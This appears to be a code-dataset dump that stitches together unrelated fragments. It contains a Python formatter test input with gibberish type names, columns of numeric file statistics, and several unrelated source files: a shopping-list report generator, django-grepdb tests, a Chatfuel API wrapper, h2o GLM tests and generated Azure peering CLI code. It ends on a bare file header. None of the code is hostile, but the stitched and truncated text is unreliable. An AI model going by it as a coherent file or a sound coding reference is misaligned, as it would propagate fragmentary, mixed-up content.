): return 2 def foo( a: int, b: int, c: int, ) -> intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds: return 2 def foo( a: int, b: int, c: int, ) -> ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds | intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds ): return 2 # Split args but no need to split return def foo( a: int, b: int, c: int, ) -> int: return 2 # Deeply nested brackets # with *interesting* spacing def double(a: int) -> int: return 2 * a def double(a: int) -> int: return 2 * a def foo() -> ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds ): return 2 # Return type with commas def foo() -> tuple[int, int, int]: return 2 def foo() -> ( tuple[ loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong, loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong, loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong, ] ): return 2 # Magic trailing comma example def foo() -> ( tuple[ int, int, int, ] ): return 2 # Long string example def frobnicate() -> ( "ThisIsTrulyUnreasonablyExtremelyLongClassName |" " list[ThisIsTrulyUnreasonablyExtremelyLongClassName]" ): pass
24.085202
352
0.751071
399
5,371
10.110276
0.125313
0.06594
0.052058
0.064452
0.997273
0.997273
0.997273
0.997273
0.997273
0.994546
0
0.008559
0.173338
5,371
222
353
24.193694
0.9
0.103147
0
0.801418
0
0
0.041345
0.040092
0
0
0
0
0
1
0.283688
false
0.014184
0
0.269504
0.553191
0
0
0
1
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
11
278a5e5330c7222f53996b328010700b89281895
128
py
Python
transcode/containers/matroska/__init__.py
shersonb/python-transcode
db42e82f019ef4c3b7f59f34587576205e19eb96
[ "MIT" ]
1
2020-06-25T01:00:15.000Z
2020-06-25T01:00:15.000Z
transcode/containers/matroska/__init__.py
shersonb/python-transcode
db42e82f019ef4c3b7f59f34587576205e19eb96
[ "MIT" ]
null
null
null
transcode/containers/matroska/__init__.py
shersonb/python-transcode
db42e82f019ef4c3b7f59f34587576205e19eb96
[ "MIT" ]
null
null
null
from transcode.containers.matroska.reader import MatroskaReader from transcode.containers.matroska.writer import MatroskaWriter
42.666667
63
0.890625
14
128
8.142857
0.642857
0.22807
0.403509
0.54386
0
0
0
0
0
0
0
0
0.0625
128
2
64
64
0.95
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
27b0c981acf591d5d239ebff8b5e7eee147461b7
7,700
py
Python
src/server/ReportGenerator.py
JanCwik/SoftwarePraktikum
d4a2b196f21a5379188cb78b31c59d69f739964f
[ "RSA-MD" ]
7
2020-05-18T14:20:17.000Z
2020-07-27T17:37:38.000Z
src/server/ReportGenerator.py
JanCwik/SoftwarePraktikum
d4a2b196f21a5379188cb78b31c59d69f739964f
[ "RSA-MD" ]
null
null
null
src/server/ReportGenerator.py
JanCwik/SoftwarePraktikum
d4a2b196f21a5379188cb78b31c59d69f739964f
[ "RSA-MD" ]
2
2020-05-18T14:20:22.000Z
2020-07-27T17:37:05.000Z
from server.bo.Statistik import Statistik from server.bo.StatistikHaendler import StatistikHaendler from server.bo.StatistikZeitraum import StatistikZeitraum from server.bo.StatistikHuZ import StatistikHuZ from server.db.ListeneintragMapper import ListeneintragMapper import collections class ReportGenerator(object): def top_artikel(self, benutzer): """ Methode um alle Artikel zu einem bestimmten Benutzer heraus zubekommen und dann die 5 Artikeln die die größte Anzahl haben zurückzugeben in Zeile 26 wird die Häufigkeit der Artikel gezählt und nach dem folgenden Schema in ein Dictionary gespeichert. z.B. 1 : 3 Artikel mit der ID 1 wurde 3 mal gekauft. Daraus werden StatistikBO Instanzen gebildet. Anschließend wird die Liste der Instanzen mit bubblesort sortiert und nur die 5 am häufigsten gekauften Artikel werden zurückgegeben """ artikel = [] instanzen = [] with ListeneintragMapper() as mapper: tupel = mapper.get_all_listeneintraege_by_benutzer(benutzer) for i in tupel: for k in i: artikel.append(k) dictionary = collections.Counter(artikel) for i in dictionary: instanz = Statistik() instanz.set_ArtikelID(i) instanz.set_anzahl(dictionary.get(i)) instanzen.append(instanz) result = [] if len(instanzen) != 0: # Bubblesort n = len(instanzen) for passes_left in range(n - 1, 0, -1): for i in range(passes_left): if instanzen[i].get_anzahl() < instanzen[i + 1].get_anzahl(): instanzen[i], instanzen[i + 1] = instanzen[i + 1], instanzen[i] for i in range(len(instanzen)): if i < 5: result.append(instanzen[i]) # nur die ersten 5 elemente i += 1 return result def top_artikel_by_einzelhaendler(self, benutzer, einzelhaendler): """ Methode um alle Artikel zu einem bestimmten Benutzer und einem bestimmten Einzelhändler heraus zubekommen und dann die 5 Artikeln die die größte Anzahl haben zurückzugeben in Zeile 76 wird die Häufigkeit der Artikel gezählt und nach dem folgenden Schema in ein Dictionary gespeichert. z.B. 1 : 3 Artikel mit der ID 1 wurde 3 mal gekauft. Daraus werden StatistikBO Instanzen gebildet. Anschließend wird die Liste der Instanzen mit bubblesort sortiert und nur die 5 am häufigsten gekauften Artikel werden zurückgegeben """ artikel = [] instanzen = [] with ListeneintragMapper() as mapper: tupel = mapper.get_all_listeneintraege_by_Einzelhaendler(benutzer, einzelhaendler) for i in tupel: for k in i: artikel.append(k) a = collections.Counter(artikel) for i in a: instanz = StatistikHaendler() instanz.set_ArtikelID(i) instanz.set_anzahl(a.get(i)) instanzen.append(instanz) result = [] if len(instanzen) != 0: # Bubblesort n = len(instanzen) for passes_left in range(n - 1, 0, -1): for i in range(passes_left): if instanzen[i].get_anzahl() < instanzen[i + 1].get_anzahl(): instanzen[i], instanzen[i + 1] = instanzen[i + 1], instanzen[i] for i in range(len(instanzen)): if i < 5: result.append(instanzen[i]) #nur die ersten 5 elemente i += 1 return result def top_artikel_by_zeitraum(self, benutzer, startzeitpunkt, endzeitpunkt): """ Methode um alle Artikel zu einem bestimmten Benutzer und einem bestimmten Zeitraum heraus zubekommen und dann die 5 Artikeln die die größte Anzahl haben zurückzugeben Zuerst werden die Listeneintraege herausgefiltert die in dem gegebenen Zeitraum abgehakt wurden. In Zeile 128 wird die Häufigkeit der Artikel gezählt und nach dem folgenden Schema in ein Dictionary gespeichert. z.B. 1 : 3 Artikel mit der ID 1 wurde 3 mal gekauft. Daraus werden StatistikBO Instanzen gebildet. Anschließend wird die Liste der Instanzen mit bubblesort sortiert und nur die 5 am häufigsten gekauften Artikel werden zurückgegeben """ instanzen = [] alle = [] result = [] with ListeneintragMapper() as mapper: tupel = mapper.get_all_listeneintraege_by_Datum(benutzer) for i in tupel: zeitpunkt = i.get_zeitpunkt() zeitpunkt = zeitpunkt.strftime("%Y-%m-%d") if startzeitpunkt <= zeitpunkt <= endzeitpunkt: alle.append(i.get_ArtikelID()) a = collections.Counter(alle) for i in a: instanz = StatistikZeitraum() instanz.set_ArtikelID(i) instanz.set_anzahl(a.get(i)) instanzen.append(instanz) if len(instanzen) != 0: # Bubblesort n = len(instanzen) for passes_left in range(n - 1, 0, -1): for i in range(passes_left): if instanzen[i].get_anzahl() < instanzen[i + 1].get_anzahl(): instanzen[i], instanzen[i + 1] = instanzen[i + 1], instanzen[i] for i in range(len(instanzen)): if i < 5: result.append(instanzen[i]) # nur die ersten 5 elemente i += 1 return result def top_artikel_by_Einzelhaendler_zeitraum(self, benutzer, einzelhaendler, startzeitpunkt, endzeitpunkt): """ Methode um alle Artikel zu einem bestimmten Benutzer und einem bestimmten Zeitraum heraus zubekommen und dann die 5 Artikeln die die größte Anzahl haben zurückzugeben Zuerst werden die Listeneintraege herausgefiltert die in dem gegebenen Zeitraum abgehakt wurden. In Zeile 164 wird die Häufigkeit der Artikel gezählt und nach dem folgenden Schema in ein Dictionary gespeichert. z.B. 1 : 3 Artikel mit der ID 1 wurde 3 mal gekauft. Daraus werden StatistikBO Instanzen gebildet. Anschließend wird die Liste der Instanzen mit bubblesort sortiert und nur die 5 am häufigsten gekauften Artikel werden zurückgegeben""" instanzen = [] alle = [] result = [] with ListeneintragMapper() as mapper: tupel = mapper.get_all_listeneintraege_by_Einzelhaendler_Datum(benutzer, einzelhaendler) for i in tupel: zeitpunkt = i.get_zeitpunkt() zeitpunkt = zeitpunkt.strftime("%Y-%m-%d") if startzeitpunkt <= zeitpunkt <= endzeitpunkt: alle.append(i.get_ArtikelID()) a = collections.Counter(alle) for i in a: instanz = StatistikHuZ() instanz.set_ArtikelID(i) instanz.set_anzahl(a.get(i)) instanzen.append(instanz) if len(instanzen) != 0: # Bubblesort n = len(instanzen) for passes_left in range(n - 1, 0, -1): for i in range(passes_left): if instanzen[i].get_anzahl() < instanzen[i + 1].get_anzahl(): instanzen[i], instanzen[i + 1] = instanzen[i + 1], instanzen[i] for i in range(len(instanzen)): if i < 5: result.append(instanzen[i]) # nur die ersten 5 elemente i += 1 return result
41.847826
124
0.605714
891
7,700
5.171717
0.13468
0.060764
0.020833
0.019097
0.887153
0.881944
0.858941
0.851128
0.841363
0.841363
0
0.014234
0.324805
7,700
183
125
42.076503
0.872091
0.30987
0
0.8
0
0
0.00318
0
0
0
0
0
0
1
0.034783
false
0.069565
0.052174
0
0.130435
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
27b58aabe5970f8c987b1da71c7c4f85525d0da3
3,656
py
Python
build/lib.linux-x86_64-2.7/django_grepdb/tests/test_basics.py
exonian/django-grep-db
e0105406b8f3790ba1970abd94b71f2620712667
[ "MIT" ]
4
2015-10-29T15:14:33.000Z
2015-11-16T11:28:09.000Z
django_grepdb/tests/test_basics.py
exonian/django-grep-db
e0105406b8f3790ba1970abd94b71f2620712667
[ "MIT" ]
11
2015-10-26T16:47:36.000Z
2021-06-10T17:52:39.000Z
django_grepdb/tests/test_basics.py
exonian/django-grep-db
e0105406b8f3790ba1970abd94b71f2620712667
[ "MIT" ]
1
2020-12-10T15:46:02.000Z
2020-12-10T15:46:02.000Z
# -*- coding: utf-8 -*- from django.core.management import call_command from django.test import TestCase from django.utils.six import StringIO from models import TestModel class TestBasicsEndToEnd(TestCase): @classmethod def setUpTestData(cls): TestModel.objects.create(text_field="The quick brown fox", text_field_two="jumped over the lazy brown dog") TestModel.objects.create(text_field="The fox and the cat were not lazy") TestModel.objects.create(text_field="The CAT was not lazy") def test_minimal_output(self): out = StringIO() call_command('grepdb', 'brown', 'tests.TestModel.text_field', '-s', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> " \ "text_field\x1b[0m\n\x1b[1m\x1b[32mTestModel object (pk=1)\x1b[0m\n" self.assertEqual(out.getvalue(), expected) def test_minimal_output_two_matches(self): out = StringIO() call_command('grepdb', 'fox', 'tests.TestModel.text_field', '-s', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> text_field\x1b[0m\n\x1b" \ "[1m\x1b[32mTestModel object (pk=1)\x1b[0m\n\x1b[1m\x1b[32mTestModel object (pk=2)\x1b[0m\n" self.assertEqual(out.getvalue(), expected) def test_minimal_output_two_fields(self): out = StringIO() call_command('grepdb', 'brown', 'tests.TestModel.text_field', 'tests.TestModel.text_field_two', '-s', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> text_field\x1b[0m\n\x1b[1m\x1b" \ "[32mTestModel object (pk=1)\x1b[0m\n\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models." \ "TestModel'> text_field_two\x1b[0m\n\x1b[1m\x1b[32mTestModel object (pk=1)\x1b[0m\n" self.assertEqual(out.getvalue(), expected) def test_minimal_output_case_sensitive_by_default(self): out = StringIO() call_command('grepdb', 'cat', 'tests.TestModel.text_field', '-s', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> " \ "text_field\x1b[0m\n\x1b[1m\x1b[32mTestModel object (pk=2)\x1b[0m\n" self.assertEqual(out.getvalue(), expected) def test_minimal_output_case_insensitive(self): out = StringIO() call_command('grepdb', 'cat', 'tests.TestModel.text_field', '-s', '-i', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> text_field\x1b[0m\n\x1b[1m\x1b" \ "[32mTestModel object (pk=2)\x1b[0m\n\x1b[1m\x1b[32mTestModel object (pk=3)\x1b[0m\n" self.assertEqual(out.getvalue(), expected) def test_minimal_output_regex_search(self): out = StringIO() call_command('grepdb', 'The.* fox', 'tests.TestModel.text_field', '-s', '-i', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> text_field\x1b[0m\n\x1b[1m\x1b" \ "[32mTestModel object (pk=1)\x1b[0m\n\x1b[1m\x1b[32mTestModel object (pk=2)\x1b[0m\n" self.assertEqual(out.getvalue(), expected) def test_minimal_output_regex_search_two(self): out = StringIO() call_command('grepdb', 'The.+ fox', 'tests.TestModel.text_field', '-s', '-i', stdout=out) expected = "\x1b[1m\x1b[36m\n<class 'django_grepdb.tests.models.TestModel'> text_field\x1b[0m\n\x1b[1m\x1b" \ "[32mTestModel object (pk=1)\x1b[0m\n" self.assertEqual(out.getvalue(), expected)
54.567164
117
0.651805
505
3,656
4.584158
0.144554
0.077754
0.065659
0.046652
0.836717
0.836717
0.777538
0.777538
0.777538
0.765443
0
0.049286
0.195295
3,656
66
118
55.393939
0.737593
0.005744
0
0.363636
0
0.254545
0.439857
0.304156
0
0
0
0
0.127273
1
0.145455
false
0
0.072727
0
0.236364
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
27d7e514b9f7c0555fa25d93e179be0e30f81c78
1,263
py
Python
ChatfuelAPI.py
ranz77/Pytible
cc2b7d006580305d2901446fa02474f0532b8254
[ "MIT" ]
1
2020-08-30T14:42:54.000Z
2020-08-30T14:42:54.000Z
ChatfuelAPI.py
minhhieuuet/Pytible
cc2b7d006580305d2901446fa02474f0532b8254
[ "MIT" ]
null
null
null
ChatfuelAPI.py
minhhieuuet/Pytible
cc2b7d006580305d2901446fa02474f0532b8254
[ "MIT" ]
3
2019-08-16T19:27:32.000Z
2021-11-24T08:05:44.000Z
import requests import os class ChatfuelAPI(): def sendText(senderId,msg): r = requests.post('https://api.chatfuel.com/bots/'+os.getenv('BOT_ID')+'/users/'+str(senderId)+'/send?chatfuel_token='+os.getenv('CHATFUEL_TOKEN')+'&chatfuel_block_id='+os.getenv('CHATFUEL_BLOCK_TEXT'), json={"repmsg": msg}) return str(r.status_code) def sendImage(senderId,msg): r = requests.post('https://api.chatfuel.com/bots/'+os.getenv('BOT_ID')+'/users/'+str(senderId)+'/send?chatfuel_token='+os.getenv('CHATFUEL_TOKEN')+'&chatfuel_block_id='+os.getenv('CHATFUEL_BLOCK_IMAGE'), json={"urlImage": msg}) return str(r.status_code) def sendChangeFavorite(senderId): r = requests.post('https://api.chatfuel.com/bots/'+os.getenv('BOT_ID')+'/users/'+str(senderId)+'/send?chatfuel_token='+os.getenv('CHATFUEL_TOKEN')+'&chatfuel_block_id='+os.getenv('CHATFUEL_BLOCK_SELECTFAV')) return str(r.status_code) def sendVoice(senderId,msg): r = requests.post('https://api.chatfuel.com/bots/'+os.getenv('BOT_ID')+'/users/'+str(senderId)+'/send?chatfuel_token='+os.getenv('CHATFUEL_TOKEN')+'&chatfuel_block_id='+os.getenv('CHATFUEL_BLOCK_VOICE'), json={"urlVoice": msg}) return str(r.status_code)
66.473684
240
0.688044
170
1,263
4.923529
0.223529
0.114695
0.152927
0.086022
0.820789
0.820789
0.76583
0.703704
0.703704
0.703704
0
0
0.113222
1,263
18
241
70.166667
0.747321
0
0
0.266667
0
0
0.39034
0.085511
0
0
0
0
0
1
0.266667
false
0
0.133333
0
0.733333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
27e4d42dcda94c5fbd736fcb735307a9b7bd1e66
3,301
py
Python
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_8077_binomial_alpha.py
MikolajBak/h2o-3
4f0a24dcc1867521e781e9fd97a49a3e6abd9efb
[ "Apache-2.0" ]
6,098
2015-05-22T02:46:12.000Z
2022-03-31T16:54:51.000Z
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_8077_binomial_alpha.py
Felipe86100201/h2o-3
785a4b80f82e7dfdbf3a8d430a1a34c53cd01d58
[ "Apache-2.0" ]
2,517
2015-05-23T02:10:54.000Z
2022-03-30T17:03:39.000Z
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_8077_binomial_alpha.py
Felipe86100201/h2o-3
785a4b80f82e7dfdbf3a8d430a1a34c53cd01d58
[ "Apache-2.0" ]
2,199
2015-05-22T04:09:55.000Z
2022-03-28T22:20:45.000Z
#!/usr/bin/env python # -*- encoding: utf-8 -*- import h2o from h2o.estimators.glm import H2OGeneralizedLinearEstimator from tests import pyunit_utils # test binomial family with generate_scoring_history on, alpha arrays, lambda search on and off def test_binomial_alpha(): training_data = h2o.import_file(pyunit_utils.locate("smalldata/logreg/benign.csv")) Y = 3 X = [0, 1, 2, 4, 5, 6, 7, 8, 9, 10] # test with lambda search on, generate_scoring_history on and off model1 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=True, generate_scoring_history=True) model1.train(x=X, y=Y, training_frame=training_data) model2 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=True, generate_scoring_history=True) model2.train(x=X, y=Y, training_frame=training_data) pyunit_utils.assertCoefDictEqual(model1.coef(), model2.coef()) # test with lambda search off, generate_scoring_history on and off model1 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=False, generate_scoring_history=True, Lambda=[0, 0.1, 0.01, 0.001]) model1.train(x=X, y=Y, training_frame=training_data) model2 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=False, generate_scoring_history=True, Lambda=[0, 0.1, 0.01, 0.001]) model2.train(x=X, y=Y, training_frame=training_data) pyunit_utils.assertCoefDictEqual(model1.coef(), model2.coef()) # test with lambda search on, generate_scoring_history on and off, cv on model1 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=True, generate_scoring_history=True, nfolds=2, seed=12345) model1.train(x=X, y=Y, training_frame=training_data) model2 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=True, generate_scoring_history=True, nfolds=2, seed=12345) model2.train(x=X, y=Y, training_frame=training_data) pyunit_utils.assertCoefDictEqual(model1.coef(), model2.coef()) # test with lambda search off, generate_scoring_history on and off, cv on model1 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=False, generate_scoring_history=True, nfolds=2, seed=12345, Lambda=[0, 0.1, 0.01, 0.001]) model1.train(x=X, y=Y, training_frame=training_data) model2 = H2OGeneralizedLinearEstimator(family="binomial", alpha=[0,0.2,0.5,0.8,1], lambda_search=False, generate_scoring_history=True, nfolds=2, seed=12345, Lambda=[0, 0.1, 0.01, 0.001]) model2.train(x=X, y=Y, training_frame=training_data) pyunit_utils.assertCoefDictEqual(model1.coef(), model2.coef()) if __name__ == "__main__": pyunit_utils.standalone_test(test_binomial_alpha) else: test_binomial_alpha()
58.946429
107
0.649197
442
3,301
4.680995
0.158371
0.094248
0.138231
0.185597
0.82262
0.82262
0.82262
0.82262
0.82262
0.82262
0
0.069712
0.230839
3,301
55
108
60.018182
0.745175
0.124205
0
0.731707
1
0
0.034327
0.009362
0
0
0
0
0.097561
1
0.02439
false
0
0.097561
0
0.121951
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
7e0cdd1f013f273b910131f0cb68120fcc9e947a
42
py
Python
hiddeneye_reborn/core/config.py
Devil4333/HiddenEye
f2501dfad468caf62cf7e26b16dd19b02eb719b4
[ "Unlicense" ]
582
2020-09-30T11:39:24.000Z
2022-03-28T07:12:55.000Z
hiddeneye_reborn/core/config.py
vroxxx/HiddenEyeReborn
f2501dfad468caf62cf7e26b16dd19b02eb719b4
[ "Unlicense" ]
65
2020-09-23T18:11:40.000Z
2021-12-23T13:26:18.000Z
hiddeneye_reborn/core/config.py
vroxxx/HiddenEyeReborn
f2501dfad468caf62cf7e26b16dd19b02eb719b4
[ "Unlicense" ]
139
2020-09-30T18:44:50.000Z
2022-03-28T07:14:09.000Z
import yaml # TODO u know, work in it...
10.5
28
0.642857
8
42
3.375
1
0
0
0
0
0
0
0
0
0
0
0
0.238095
42
3
29
14
0.84375
0.619048
0
0
0
0
0
0
0
0
0
0.333333
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
1
0
1
0
0
7
fd66c0d8d073473c0e25344553b76f8da4926226
14,060
py
Python
src/peering/azext_peering/generated/custom.py
Mannan2812/azure-cli-extensions
e2b34efe23795f6db9c59100534a40f0813c3d95
[ "MIT" ]
207
2017-11-29T06:59:41.000Z
2022-03-31T10:00:53.000Z
src/peering/azext_peering/generated/custom.py
Mannan2812/azure-cli-extensions
e2b34efe23795f6db9c59100534a40f0813c3d95
[ "MIT" ]
4,061
2017-10-27T23:19:56.000Z
2022-03-31T23:18:30.000Z
src/peering/azext_peering/generated/custom.py
Mannan2812/azure-cli-extensions
e2b34efe23795f6db9c59100534a40f0813c3d95
[ "MIT" ]
802
2017-10-11T17:36:26.000Z
2022-03-31T22:24:32.000Z
# -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- # pylint: disable=too-many-lines, unused-argument import json def peering_legacy_list(cmd, client, peering_location, kind, asn=None): return client.list(peering_location=peering_location, kind=kind, asn=asn) def peering_asn_list(cmd, client): return client.list_by_subscription() def peering_asn_show(cmd, client, peer_asn_name): return client.get(peer_asn_name=peer_asn_name) def peering_asn_create(cmd, client, peer_asn_name, peer_asn=None, peer_contact_detail=None, peer_name=None, validation_state=None): return client.create_or_update(peer_asn_name=peer_asn_name, peer_asn=peer_asn, peer_contact_detail=peer_contact_detail, peer_name=peer_name, validation_state=validation_state) def peering_asn_delete(cmd, client, peer_asn_name): return client.delete(peer_asn_name=peer_asn_name) def peering_location_list(cmd, client, kind, direct_peering_type=None): return client.list(kind=kind, direct_peering_type=direct_peering_type) def peering_registered_asn_list(cmd, client, resource_group_name, peering_name): return client.list_by_peering(resource_group_name=resource_group_name, peering_name=peering_name) def peering_registered_asn_show(cmd, client, resource_group_name, peering_name, registered_asn_name): return client.get(resource_group_name=resource_group_name, peering_name=peering_name, registered_asn_name=registered_asn_name) def peering_registered_asn_create(cmd, client, resource_group_name, peering_name, registered_asn_name, asn=None): return client.create_or_update(resource_group_name=resource_group_name, peering_name=peering_name, registered_asn_name=registered_asn_name, asn=asn) def peering_registered_asn_update(cmd, client, resource_group_name, peering_name, registered_asn_name, asn=None): return client.create_or_update(resource_group_name=resource_group_name, peering_name=peering_name, registered_asn_name=registered_asn_name, asn=asn) def peering_registered_asn_delete(cmd, client, resource_group_name, peering_name, registered_asn_name): return client.delete(resource_group_name=resource_group_name, peering_name=peering_name, registered_asn_name=registered_asn_name) def peering_registered_prefix_list(cmd, client, resource_group_name, peering_name): return client.list_by_peering(resource_group_name=resource_group_name, peering_name=peering_name) def peering_registered_prefix_show(cmd, client, resource_group_name, peering_name, registered_prefix_name): return client.get(resource_group_name=resource_group_name, peering_name=peering_name, registered_prefix_name=registered_prefix_name) def peering_registered_prefix_create(cmd, client, resource_group_name, peering_name, registered_prefix_name, prefix=None): return client.create_or_update(resource_group_name=resource_group_name, peering_name=peering_name, registered_prefix_name=registered_prefix_name, prefix=prefix) def peering_registered_prefix_update(cmd, client, resource_group_name, peering_name, registered_prefix_name, prefix=None): return client.create_or_update(resource_group_name=resource_group_name, peering_name=peering_name, registered_prefix_name=registered_prefix_name, prefix=prefix) def peering_registered_prefix_delete(cmd, client, resource_group_name, peering_name, registered_prefix_name): return client.delete(resource_group_name=resource_group_name, peering_name=peering_name, registered_prefix_name=registered_prefix_name) def peering_peering_list(cmd, client, resource_group_name=None): if resource_group_name is not None: return client.list_by_resource_group(resource_group_name=resource_group_name) return client.list_by_subscription() def peering_peering_show(cmd, client, resource_group_name, peering_name): return client.get(resource_group_name=resource_group_name, peering_name=peering_name) def peering_peering_create(cmd, client, resource_group_name, peering_name, sku, kind, location, tags=None, direct=None, exchange=None, peering_location=None): if isinstance(direct, str): direct = json.loads(direct) if isinstance(exchange, str): exchange = json.loads(exchange) return client.create_or_update(resource_group_name=resource_group_name, peering_name=peering_name, sku=sku, kind=kind, location=location, tags=tags, direct=direct, exchange=exchange, peering_location=peering_location) def peering_peering_update(cmd, client, resource_group_name, peering_name, tags=None): return client.update(resource_group_name=resource_group_name, peering_name=peering_name, tags=tags) def peering_peering_delete(cmd, client, resource_group_name, peering_name): return client.delete(resource_group_name=resource_group_name, peering_name=peering_name) def peering_received_route_list(cmd, client, resource_group_name, peering_name, prefix=None, as_path=None, origin_as_validation_state=None, rpki_validation_state=None, skip_token=None): return client.list_by_peering(resource_group_name=resource_group_name, peering_name=peering_name, prefix=prefix, as_path=as_path, origin_as_validation_state=origin_as_validation_state, rpki_validation_state=rpki_validation_state, skip_token=skip_token) def peering_service_country_list(cmd, client): return client.list() def peering_service_location_list(cmd, client, country=None): return client.list(country=country) def peering_service_prefix_list(cmd, client, resource_group_name, peering_service_name, expand=None): return client.list_by_peering_service(resource_group_name=resource_group_name, peering_service_name=peering_service_name, expand=expand) def peering_service_prefix_show(cmd, client, resource_group_name, peering_service_name, prefix_name, expand=None): return client.get(resource_group_name=resource_group_name, peering_service_name=peering_service_name, prefix_name=prefix_name, expand=expand) def peering_service_prefix_create(cmd, client, resource_group_name, peering_service_name, prefix_name, prefix=None, peering_service_prefix_key=None): return client.create_or_update(resource_group_name=resource_group_name, peering_service_name=peering_service_name, prefix_name=prefix_name, prefix=prefix, peering_service_prefix_key=peering_service_prefix_key) def peering_service_prefix_update(cmd, client, resource_group_name, peering_service_name, prefix_name, prefix=None, peering_service_prefix_key=None): return client.create_or_update(resource_group_name=resource_group_name, peering_service_name=peering_service_name, prefix_name=prefix_name, prefix=prefix, peering_service_prefix_key=peering_service_prefix_key) def peering_service_prefix_delete(cmd, client, resource_group_name, peering_service_name, prefix_name): return client.delete(resource_group_name=resource_group_name, peering_service_name=peering_service_name, prefix_name=prefix_name) def peering_service_provider_list(cmd, client): return client.list() def peering_service_list(cmd, client, resource_group_name=None): if resource_group_name is not None: return client.list_by_resource_group(resource_group_name=resource_group_name) return client.list_by_subscription() def peering_service_show(cmd, client, resource_group_name, peering_service_name): return client.get(resource_group_name=resource_group_name, peering_service_name=peering_service_name) def peering_service_create(cmd, client, resource_group_name, peering_service_name, location, sku=None, tags=None, peering_service_location=None, peering_service_provider=None): return client.create_or_update(resource_group_name=resource_group_name, peering_service_name=peering_service_name, sku=sku, location=location, tags=tags, peering_service_location=peering_service_location, peering_service_provider=peering_service_provider) def peering_service_update(cmd, client, resource_group_name, peering_service_name, tags=None): return client.update(resource_group_name=resource_group_name, peering_service_name=peering_service_name, tags=tags) def peering_service_delete(cmd, client, resource_group_name, peering_service_name): return client.delete(resource_group_name=resource_group_name, peering_service_name=peering_service_name)
41.721068
89
0.510526
1,219
14,060
5.442986
0.078753
0.160663
0.204974
0.173625
0.775735
0.742276
0.727506
0.70309
0.660739
0.611002
0
0
0.435562
14,060
336
90
41.845238
0.836064
0.034637
0
0.678431
0
0
0
0
0
0
0
0
0
1
0.137255
false
0
0.003922
0.12549
0.286275
0
0
0
0
null
0
1
1
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
7
fd680ba78fb58942d9e85570c38f8f32ce467b6f
31,534
py
Python
spark_fhir_schemas/r4/complex_types/requestgroup_action.py
icanbwell/SparkFhirSchemas
8c828313c39850b65f8676e67f526ee92b7d624e
[ "Apache-2.0" ]
null
null
null
spark_fhir_schemas/r4/complex_types/requestgroup_action.py
icanbwell/SparkFhirSchemas
8c828313c39850b65f8676e67f526ee92b7d624e
[ "Apache-2.0" ]
null
null
null
spark_fhir_schemas/r4/complex_types/requestgroup_action.py
icanbwell/SparkFhirSchemas
